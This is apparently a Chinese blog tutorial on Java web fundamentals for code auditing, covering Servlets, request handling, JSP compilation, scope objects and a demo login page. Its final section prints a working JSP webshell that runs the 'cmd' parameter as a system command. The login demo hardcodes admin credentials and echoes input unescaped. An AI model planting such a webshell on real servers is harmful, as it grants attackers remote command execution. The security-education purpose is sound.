JAVA代码审计-JAVA WEB基础(一)

JAVA WEB基础(一)

一、创建JAVA WEB 项目

1、创建项目

新建项目:

image-20230720201539556

选择 Maven 项目,后选择 maven-archetype-webapp ,名称处为自定义项目名,如下图所示:

image-20230720201931775

创建成功后项目目录如下:

image-20230720202107106

2、配置Tomcat

pom.xml 添加依赖

1
2
3
4
5
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>

依赖添加成功

image-20230720202749599

添加Tomcat

image-20230720202604636

添加部署方式

image-20230720202850737

  • war方式 :发布模式,先打包成war包,再发布。
  • war exploded方式 :常在开发的时候使用这种方式,可以支持热部署。

配置 url 根路径

image-20230720203053500

启动项目

image-20230720203252536

项目启动成功

image-20230720203320725

二、Servlet

1、简介

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。

使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

Java Servlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果。但是相比于 CGI,Servlet 有以下几点优势:

  • 性能明显更好。
  • Servlet 在 Web 服务器的地址空间内执行。这样它就没有必要再创建一个单独的进程来处理每个客户端请求。
  • Servlet 是独立于平台的,因为它们是用 Java 编写的。
  • 服务器上的 Java 安全管理器执行了一系列限制,以保护服务器计算机上的资源。因此,Servlet 是可信的。
  • Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。

2、声明 Servlet

2.1、HttpServlet

javax.servlet.http.HttpServlet类继承javax.servlet.GenericServlet,GenericServlet实现接口javax.servlet.Servletjavax.servlet.ServletConfigjavax.servlet.Servlet接口中定义了servlet基础生命周期方法:

  • init() 初始化阶段,只被调用一次,也就是在第一次创建Servlet时被调用
  • getServletConfig() 配置
  • service() 服务阶段,主要处理来自客户端的请求,可以根据HTTP请求类型来调用对应的方法,比如 doGet(),doPost(),doPut()等
  • getServletInfo() 配置
  • destroy() 销毁阶段,该方法只会被调用一次,即在Servlet生命期结束时被调用

HttpServlet不仅实现了servlet的生命周期并通过封装service方法抽象出doGet()/doPost()/doDelete()/doHead()/doPut()/doOptions()/doTrace()方法用于处理来自客户端的不一样的请求方式

image-20230720211810159

综上,若声明的Servlet则只需要重写请求方法或者重写service方法即可实现servlet请求处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("name");
PrintWriter writer = resp.getWriter();
writer.write("hello "+ name);

}
}

2.2、xml 配置

配置 src/main/webapp/WEB-INF/web.xml 注册Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<web-app>
<display-name>Archetype Created Web Application</display-name>

<!-- 绑定 HelloServlet 对应类为 org.example.HelloServlet -->
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>org.example.HelloServlet</servlet-class>
</servlet>

<!-- 绑定 HelloServlet 对应 url 地址为 /hello -->
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>

映射匹配流程 :/hello 路径绑定的 Servlet-name为 HelloServlet,而 HelloServlet 绑定的class 为 org.example.HelloServlet ,访问 /hello ,调用 org.example.HelloServlet。

配置成功,访问 /hello ,调用 org.example.HelloServlet

image-20230720212335081

2.3、注解配置

Servlet 3.0 之后( Tomcat7+)支持使用注解方式配置 Servlet ,在任意的Java类添加javax.servlet.annotation.WebServlet注解即可注册Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/hello1")
public class Hello1Servlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("name");
PrintWriter writer = resp.getWriter();
writer.write("hello1 "+ name);

}
}

配置成功,访问 /hello1 ,调用 org.example.Hello1Servlet

image-20230720213020959

3、HttpServletRequest

3.1、核心方法:

存在以下核心方法:

  • String getQueryString():得到的是完整的查询字符串,如:?a=10&b=20获取到其中的 a=10&b=20

  • Enumeration getParameterNames():得到所有的 key,以 Enum(枚举)的方式来表示。

  • String getParameter(String name):根据 key 得到 value。

  • String[] getParameterValues(String name):如果存在多个 key 相同的情况下,得到的value就是一个数组的形式。

  • Enumeration getHeaderNames():获取请求报头中所有的 key。

  • String getHeader(String name):根据 key 获取 value。

  • String getCharacterEncoding():获取到请求的字符编码是什么。(其实字符编码,就包含在 getContentType里面)

  • String getContentType():获取到整个 ContentType 的键值对,值里面可能包含 字符编码。

  • int getContentLength():获取到 body 的长度。

  • InputStream getInputStream():得到一个输入流对象。从这个对象中读取数据,其实就是读到了请求的body。请求body里面可能有些数据,可能会被这里的 getInputStream来获取。

3.2、打印请求信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;

@WebServlet("/showRequest")
public class ShowRequestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

// 把 api 的执行结果,放到 StringBuilder 中
StringBuilder stringBuilder = new StringBuilder();

// 首行部分
stringBuilder.append("<h3> 首行部分</h3>");
stringBuilder.append(req.getProtocol()); // 获取 版本协议
stringBuilder.append("<br>"); // 换行

stringBuilder.append(req.getMethod()); // 获取 请求方法
stringBuilder.append("<br>"); // 换行

stringBuilder.append(req.getRequestURI()); // 获取 请求路径
stringBuilder.append("<br>"); // 换行

stringBuilder.append(req.getContextPath()); // 获取 请求的第一级路径
stringBuilder.append("<br>"); // 换行

stringBuilder.append(req.getQueryString()); // 获取 完整的查询字符串
stringBuilder.append("<br>"); // 换行

// header 部分
stringBuilder.append("<h3> header 部分</h3>");
Enumeration<String> headerNames = req.getHeaderNames(); // 获取报头中所有 key 值
// 使用迭代器方式来遍历 获取到的 header 中 key 值
while (headerNames.hasMoreElements()) {
// 获取到 headerNames 中的一个 key 元素
String headerName = headerNames.nextElement();
// 通过 header 中 key 值,获取到对应的 value
String headerValue = req.getHeader(headerName);

// 将 key 和 value 组成键值对,放入 stringbuilder
stringBuilder.append(headerName + ": " + headerValue + "<br>");
}

//在展示结果之前,需要指定浏览器的读取编码的方式,防止乱码
resp.setContentType("text/html; charset=utf-8");
resp.getWriter().write(stringBuilder.toString());
}
}

请求后如下打印相应信息:

image-20230720213938094

3.3、获取 GET 请求中参数

可使用getParameter()、getParameterValues()获取请求中参数。

  • getParameter(String name):根据 key 得到 value。
  • getParameterValues(String name):如果存在多个 key 相同的情况下,得到的value就是一个数组的形式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/getParameter")
public class GetParameterServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 我们手动从浏览器传来这样的一个请求:/getParameter/userId=1&classId=2
// 这里的查询字符串 userId=1&classId=2 就是键值对的结构
// 这里我们希望根据 key,拿到对应的 value
String userId = req.getParameter("userId"); // key 值需要和请求中的相匹配,才能获取对应的 value 值
String classId = req.getParameter("classId");

// 打印数据
resp.getWriter().write("userId: " + userId + " classId: " + classId);
}

}

启聪Tomcat,访问页面,得到如下结果,若有参数则输出,无参数则为 null

image-20230720214604747

3.3、获取 POST 请求中参数

POST 与 GET 相同仍使用 getParameter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/postGetParameter")
public class PostGetParameterServlet extends HttpServlet {

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 加入前端传过来的参数是 userId=1&classId=2
// 此时服务器也是通过 req.getParameter 来获取参数的
resp.setContentType("text/html; charset=utf-8"); // 指定浏览器读取方式
String userId = req.getParameter("userId");
String classId = req.getParameter("classId");
resp.getWriter().write("userId = " + userId + " classId = " + classId);
}


}

Servlet 可正常获取数据

image-20230720215038743

4、HttpServletResponse

4.1、核心方法

存在以下核心方法:

  • void sendRedirect(String location):返回一个重定向的响应,不是 set,而是 send,3xx 开头的响应。浏览器会自动的跳转到对应的新页面,String location就是你要跳转到的页面。

  • PrintWriter getWriter():得到字符流

  • OutputStream getOutputStream():得到字节流

4.2、设置状态码及重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/redirect")
public class RedirectServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 设置状态码
resp.setStatus(302);
// 重定向
resp.setHeader("Location","https://cn.bing.com");
}

}

可正常重定向

image-20230720220204179

三、JSP

1、简介

JSP 全称 JavaServer Pages 基于Java语言,是一种动态网页技术,与 PHP、ASP、ASP.NET 等类似的脚本语言,JSP是为了简化Servlet的处理流程而出现的替代品,早期的Java EE因为只能使用Servlet来处理客户端请求而显得非常的繁琐和不便,使用JSP可以快速的完成后端逻辑请求。使用JSP标签在HTML网页中插入Java代码,标签通常以<%开头 以%>结束,JSP本质是简化版的Servlet,JSP在编译后就变成了Servlet,由于JVM只能识别 Java 类,无法识别JSP代码。故WEB服务器会将 JSP 编译为 JVM 能识别的Java类。

JSP 与 Servlet区别在于,JSP常用于动态页面显示,Servlet 常用于逻辑控制。在代码中常使用 JSP 做前端动态页面,在接收到用户输入后交给对应的 Servlet 进行处理(JSP也可以当做后端代码进行逻辑控制)。

因为在JSP中可以直接调用Java代码来实现后端逻辑的这一特性,黑客通常会编写带有恶意攻击的JSP文件(俗称WebShell)来实现对服务器资源的恶意请求和控制。

现代的MVC框架(如:Spring MVC 5.x)已经完全抛弃了JSP技术,采用了模板引擎(如:Freemark)或者RESTful的方式来实现与客户端的交互工作, 总结来说 JSP 已被慢慢淘汰。

2、JSP原理

JSP 本质上是简化版的 Servlet,由于 JVM 无法识别JSP,故 WEB 服务器会将 JSP 编译为可识别的 .java 文件,从业务来说 JSP 常用于动态页面显示,Servlet 常用于逻辑控制即 JSP 通常作为前端动态页面,Servlet通常做为后端代码进行逻辑控制。

index.jsp

1
2
3
4
5
<html>
<body>
<h2>Hello World!</h2>
</body>
</html>

启动 Tomcat

image-20230721201019400

查看 idea 项目文件 C:\Users\bai\AppData\Local\JetBrains\IntelliJIdea2022.2\tomcat\349ec0f9-08df-4618-8b09-2f49abd43030\work\Catalina\localhost\demo_war\org\apache\jsp 存在文件index_jsp.java、index_jsp.class

image-20230721201138112

编译过程如下:

浏览器第一次请求 index.jsp,Tomcat 将index.jsp转化成 index._jsp.java ,并将该文件编译成class文件,编译完毕后运行 class 文件响应浏览器请求;同时对 index.jsp 进行监听,若 index.jsp 存在改动则重新编译 ;后续访问 index.jsp 将直接调用 class 进行响应。

index._jsp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
/*
* Generated by the Jasper component of Apache Tomcat
* Version: Apache Tomcat/9.0.78
* Generated at: 2023-07-21 12:09:36 UTC
* Note: The last modified time of this file was set to
* the last modified time of the source file after
* generation to assist with modification tracking.
*/
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent,
org.apache.jasper.runtime.JspSourceImports {

private static final javax.servlet.jsp.JspFactory _jspxFactory =
javax.servlet.jsp.JspFactory.getDefaultFactory();

private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

private static final java.util.Set<java.lang.String> _jspx_imports_packages;

private static final java.util.Set<java.lang.String> _jspx_imports_classes;

static {
_jspx_imports_packages = new java.util.HashSet<>();
_jspx_imports_packages.add("javax.servlet");
_jspx_imports_packages.add("javax.servlet.http");
_jspx_imports_packages.add("javax.servlet.jsp");
_jspx_imports_classes = null;
}

private volatile javax.el.ExpressionFactory _el_expressionfactory;
private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
return _jspx_dependants;
}

public java.util.Set<java.lang.String> getPackageImports() {
return _jspx_imports_packages;
}

public java.util.Set<java.lang.String> getClassImports() {
return _jspx_imports_classes;
}

public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
if (_el_expressionfactory == null) {
synchronized (this) {
if (_el_expressionfactory == null) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
}
}
}
return _el_expressionfactory;
}

public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
if (_jsp_instancemanager == null) {
synchronized (this) {
if (_jsp_instancemanager == null) {
_jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
}
}
}
return _jsp_instancemanager;
}

public void _jspInit() {
}

public void _jspDestroy() {
}

public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
throws java.io.IOException, javax.servlet.ServletException {

if (!javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
final java.lang.String _jspx_method = request.getMethod();
if ("OPTIONS".equals(_jspx_method)) {
response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
return;
}
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSP 只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS");
return;
}
}

// jsp 内置对象
final javax.servlet.jsp.PageContext pageContext;
javax.servlet.http.HttpSession session = null;
final javax.servlet.ServletContext application;
final javax.servlet.ServletConfig config;
javax.servlet.jsp.JspWriter out = null;
final java.lang.Object page = this;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;

// jsp 中代码转换为相应 java 代码
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;

out.write("<html>\r\n");
out.write("<body>\r\n");
out.write("<h2>Hello World!</h2>\r\n");
out.write("</body>\r\n");
out.write("</html>\r\n");
} catch (java.lang.Throwable t) {
if (!(t instanceof javax.servlet.jsp.SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else throw new ServletException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

index_jsp.java 继承于 HttpJspBase 类,HttpJspBase 是一个实现了 HttpJspPage 接口并继承了 HttpServlet 的标准的Servlet,jspService 方法其实是 HttpJspPage 接口方法,类似于 Servlet 中的 service 方法,这里的 _jspService方法其实就是HttpJspBase的service方法调用。

3、JSP脚本

JSP 脚本就是 JSP 页面中的 java 代码,也叫做scriptlet。JSP 的脚本必须使用<% %>括起来,不然会将当成是模板数据即当做 HTMl 代码进行解析

JSP脚本存在以下三种方式

  • <%%> 定义局部变量,编写语句,可用<jsp:scriptlet></jsp:scriptlet>替代
  • <%!%> 定义类或方法(极少使用)
  • <%=%> 输出各种类型的变量,int、double、String、Object等, 也称为表达式输出

4、JSP指令

4.1、<%@ page … %>

定义网页依赖属性,比如脚本语言、error页面、缓存需求等等

  • session=”true | false”

  • errorPage=”relative_url” 设置报错跳转页面,配合 isErrorPage 使用

  • isErrorPage=”true | false” 设置页面是否为 isErrorPage

  • contentType=”text/html;charset=UTF-8”

  • pageEncoding=”characterSet “

  • isELIgnored=”true | false”

4.2、<%@ include … %>

包含其他文件(静态包含)

4.3、<%@ taglib … %>

引入标签库的定义,taglib指令就是用来指明JSP页面内使用标签库技术

5、JSP内置对象

JSP存在以下九大内置对象

变量名 类型 作用
pageContext PageContext 当前页面编译后的内容,可以获取其他8个内置对象
request HttpServletRequest 客户端请求对象,包含了所有客户端请求信息
session HttpSession 请求会话
application ServletContext 全局对象,所有用户间共享数据
response HttpServletResponse 响应对象,主要用于服务器端设置响应信息
page Object 当前Servlet对象,this
out JspWriter 输出对象,数据输出到页面上
config ServletConfig Servlet的配置对象
exception Throwable 异常对象

6、域对象

pageContext、request、session、ServletContext作为域对象均存在以下三个方法:

  • setAttribute(String name,Objcet o)

  • getAttribute(String name)

  • removeAttribute(String name)

pageContext 本质上代表的是当前JSP页面编译后的内容,作为域对象而言,仅代表当前 JSP 页面,即 pageContext 域对象只在 page 范围内有效,超出 page 范围将失效

同一 page 页面内使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>使用page域对象</title>
</head>
<body>
<%
pageContext.setAttribute("name", "baigeixinan");
%>
<%
String value = (String) pageContext.getAttribute("name");
%>
<%= value%>
</body>
</html>

可正常使用

image-20230721212519030

尝试跨域获取

test2.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>request域对象设置属性</title>
</head>
<body>
<%
//这是request域对象保存的内容
request.setAttribute("name","zhongfucheng");
%>

<%--跳转test3.jsp--%>
<jsp:forward page="test3.jsp"/>

</body>
</html>

test3.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%

String value = (String) pageContext.getAttribute("name");

%>
<%= value%>
</body>
</html>

获取失败

image-20230721212735618

pageContext对象重载了setAttribute()、getAttribute()、removeAttribute()三个方法,添加了一个设置域范围的一个参数,如果不指定默认为 page

  • getAttribute(String name,int scope)

  • setAttribute(String name,Object value,int scope)

  • removeAttribute(String name,int scope)

pageContext把request、session、application、page这几个域对象封装着了静态变量供我们使用。

  • PageContext.APPLICATION_SCOPE

  • PageContext.SESSION_SCOPE

  • PageContext.REQUEST_SCOPE

  • PageContext.PAGE_SCOPE

修改 test3.jsp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%
String value = (String) pageContext.getAttribute("name",pageContext.REQUEST_SCOPE);

%>
<%= value%>
</body>
</html>

可成功获取

image-20230721213441854

4中属性范围如下:

  • page【只在一个页面中保存属性,跳转页面无效】

  • requet【只在一次请求中保存属性,服务器跳转有效,浏览器跳转无效】

  • session【在一个会话范围中保存属性,无论何种跳转均有效,关闭浏览器后无效】

  • application【在整个服务器中保存,所有用户都可以使用】

7、EL表达式

表达式语言(Expression Language,EL),EL表达式是用”${}”括起来的脚本,EL表达式主要用来读取数据,进行内容显示。

8、JSP demo

login.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<title>登录页</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<h2>登录</h2>

<form action="login.jsp" method="post">
账号: <input type="text" name="username"/><br>
密码: <input type="password" name="password"/><br>
<input type="submit" value="登录">
</form>
</body>
</html>

login.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>主页</title>
</head>
<body>
<%
String username = request.getParameter("username");
String password = request.getParameter("password");
%>
<%
//模拟登录成功与否
if(username.equals("admin") && password.equals("123456")){
response.getWriter().write("登录成功");
}else {
response.getWriter().write("登录失败");
}
%>

用户名:<%= username%>
密码:<%= password%>
</body>
</html>

9、JSP木马

JSP木马也可以称作JSP Webshell,如果对方在上传文件或其他功能没有做防护的话,攻击者可以利用任意文件上传漏洞将恶意代码传到后端,继而攻击者可以达到操作目标网站的目的。

木马demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
String retStr = "";
char[] tmpBuffer = new char[1024];
int nRet = 0;

String cmd = request.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charset.forName("GB2312"));
while ((nRet = inputStreamReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}
inputStreamReader.close();

%>
<%= retStr%>
</body>
</html>

JAVA代码审计-JAVA WEB基础(一)
http://example.com/2023/09/05/JAVA代码审计-JAVA WEB基础(一)/
作者
白给
发布于
2023年9月5日
许可协议